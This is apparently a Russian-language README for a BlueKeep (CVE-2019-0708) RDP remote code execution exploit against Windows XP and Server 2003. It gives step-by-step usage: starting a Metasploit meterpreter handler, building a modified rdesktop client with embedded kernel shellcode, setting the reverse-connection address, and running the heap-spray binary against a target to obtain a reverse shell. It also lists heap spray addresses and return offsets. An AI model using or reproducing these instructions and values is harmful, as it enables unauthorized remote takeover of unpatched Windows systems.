cve-2019-0708_bluekeep_rce

1. Запустите msfconsole meterpreter/multi/handler для прослушивания на 192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. Измените config, настройте IP и порт для обратного подключения: 192.168.116.133 6000
4. Выполните ./heap_spray 192.168.116.134 (134 — адрес XP, память >= 2 ГБ)
5. msfconsole meterpreter получит сессию

ps: shellcode/shellcode.asm — это исходный код шеллкода для ядра. После компиляции и преобразования в бинарный файл он становится файлом rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b. При сборке make он компилируется прямо в программу.

В настоящее время поддерживается только XP, требуется память XP >= 2 ГБ

Если требуется поддержка 2003, необходимо изменить макрос HEAP_SPRAY_ADDRESS в heap_spray.c. После многократного тестирования выяснилось, что этот адрес различается в разных версиях 03 и при разном объёме памяти. Однако при тестировании на собственной машине эксплуатация на 03 успешна. Универсальности нет.

heap_spray.c

#ifdef _2003

#define HEAP_SPRAY_ADDRESS 0x953b09c0 // Необходимо самостоятельно отладить адрес шеллкода в windbg. Если кто-то найдёт универсальное решение, присылайте issues.

#define IcaChannelInputInternal_RET_OFFSET 0x268

#else

#define IcaChannelInputInternal_RET_OFFSET 0x274

#define HEAP_SPRAY_ADDRESS 0x88c969c0

#endif

Тестирование 03

1. Запустите msfconsole meterpreter/multi/handler для прослушивания на 192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. Измените config, настройте IP и порт для обратного подключения: 192.168.116.133 6000
4. Выполните ./_2003_heap_spray 192.168.116.135 (135 — адрес 03, память >= 2 ГБ)
5. msfconsole meterpreter получит сессию